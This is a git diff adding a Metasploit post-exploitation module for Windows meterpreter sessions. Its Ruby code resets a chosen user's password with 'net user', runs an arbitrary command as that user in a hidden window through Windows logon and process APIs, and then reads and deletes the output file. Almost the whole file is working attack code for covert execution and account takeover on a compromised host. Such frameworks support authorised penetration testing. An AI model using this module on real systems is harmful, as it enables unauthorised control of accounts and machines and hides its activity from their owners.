diff --git a/modules/post/windows/manage/run_as.rb b/modules/post/windows/manage/run_as.rb new file mode 100644 index 0000000000..bff6e6a466 --- /dev/null +++ b/modules/post/windows/manage/run_as.rb @@ -0,0 +1,176 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' +require 'rex' +require 'msf/core/post/file' + +class Metasploit3 < Msf::Post + include Msf::Post::File + include Msf::Post::Windows::Priv + + def initialize(info={}) + super(update_info(info, + 'Name' => "Run Command As User", + 'Description' => %q{ + This module will login with the specified username/password and execute the + supplied command as a hidden process. Output is not returned by default, by setting + CMDOUT to false output will be redirected to a temp file and read back in to + display.By setting SETPASS to true, it will reset the users password and then + execute the command. + }, + 'License' => MSF_LICENSE, + 'Version' => '$Revision$', + 'Platform' => ['windows'], + 'SessionTypes' => ['meterpreter'], + 'Author' => ['Kx499'] + )) + register_options( + [ + OptString.new('USER', [true, 'Username to reset/login with' ]), + OptString.new('PASS', [true, 'Password to use' ]), + OptString.new('CMD', [true, 'Command to execute' ]), + OptBool.new('SETPASS', [false, 'Reset password', false]), + OptBool.new('CMDOUT', [false, 'Retrieve command output', false]), + ], self.class) + end + + # Check if sufficient privileges are present for certain actions and run getprivs for system + # If you elevated privs to system,the SeAssignPrimaryTokenPrivilege will not be assigned. You + # need to migrate to a process that is running as + # system. If you don't have privs, this exits script. + + def priv_check + if is_system? + privs = session.sys.config.getprivs + if privs.include?("SeAssignPrimaryTokenPrivilege") and privs.include?("SeIncreaseQuotaPrivilege") + @isadmin = false + return true + else + return false + end + elsif is_admin? + @isadmin = true + return true + else + return false + end + end + + def reset_pass(user,pass) + begin + tmpout = "" + cmd = "cmd.exe /c net user " + user + " " + pass + r = session.sys.process.execute(cmd, nil, {'Hidden' => true, 'Channelized' => true}) + while(d = r.channel.read) + tmpout << d + break if d == "" + end + r.channel.close + return true if tmpout.include?("successfully") + return false + rescue + return false + end + end + + def run + # set some instance vars + @IsAdmin = false + @host_info = session.sys.config.sysinfo + + # Make sure we meet the requirements before running the script, note no need to return + # unless error + return 0 if session.type != "meterpreter" + + # check/set vars + setpass = datastore["SETPASS"] + cmdout = datastore["CMDOUT"] + user = datastore["USER"] || nil + pass = datastore["PASS"] || nil + cmd = datastore["CMD"] || nil + rg_adv = session.railgun.advapi32 + + # reset user pass if setpass is true + if datastore["SETPASS"] + print_status("Setting user password") + if !reset_pass(user,pass) + print_error("Error resetting password") + return 0 + end + end + + # set profile paths + sysdrive = session.fs.file.expand_path("%SYSTEMDRIVE%") + os = @host_info['OS'] + profiles_path = sysdrive + "\\Documents and Settings\\" + profiles_path = sysdrive + "\\Users\\" if os =~ /(Windows 7|2008|Vista)/ + path = profiles_path + user + "\\" + outpath = path + "out.txt" + + # this is start info struct for a hidden process last two params are std out and in. + #for hidden startinfo[12] = 1 = STARTF_USESHOWWINDOW and startinfo[13] = 0 = SW_HIDE + startinfo = [0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0] + startinfo = startinfo.pack("LLLLLLLLLLLLSSLLLL") + + #set command string based on cmdout vars + cmdstr = "cmd.exe /c #{cmd}" + cmdstr = "cmd.exe /c #{cmd} > #{outpath}" if cmdout + # Check privs and execute the correct commands + # if local admin use createprocesswithlogon, if system logonuser and createprocessasuser + # execute command and get output with a poor mans pipe + + if priv_check + if @isadmin #local admin + print_status("Executing CreateProcessWithLogonW...we are Admin") + cs = rg_adv.CreateProcessWithLogonW(user,nil,pass,"LOGON_WITH_PROFILE",nil, cmdstr, + "CREATE_UNICODE_ENVIRONMENT",nil,path,startinfo,16) + else #system with correct token privs enabled + print_status("Executing CreateProcessAsUserA...we are SYSTEM") + l = rg_adv.LogonUserA(user,nil,pass, "LOGON32_LOGON_INTERACTIVE", + "LOGON32_PROVIDER_DEFAULT", 4) + cs = rg_adv.CreateProcessAsUserA(l["phToken"], nil, cmdstr, nil, nil, false, + "CREATE_NEW_CONSOLE", nil, nil, startinfo, 16) + end + else + print_error("Insuficient Privileges, either you are not Admin or system or you elevated") + print_error("privs to system and do not have sufficent Priveldges. If you elevated to") + print_error("system, migrate to a process that was started as system (srvhost.exe)") + return 0 + end + + # Only process file if the process creation was successful, delete when done, give us info + # about process + if cs["return"] + tmpout = "" + if cmdout + outfile = session.fs.file.new(outpath, "rb") + until outfile.eof? + tmpout << outfile.read + end + outfile.close + c = session.sys.process.execute("cmd.exe /c del #{outpath}", nil, {'Hidden' => true}) + c.close + end + + pi = cs["lpProcessInformation"].unpack("LLLL") + print_status("Command Run: #{cmdstr}") + print_status("Process Handle: #{pi[0]}") + print_status("Thread Handle: #{pi[1]}") + print_status("Process Id: #{pi[2]}") + print_status("Thread Id: #{pi[3]}") + print_line(tmpout) + else + print_error("Oops something went wrong. Error Returned by Windows was #{cs["GetLastError"]}") + return 0 + end + end +end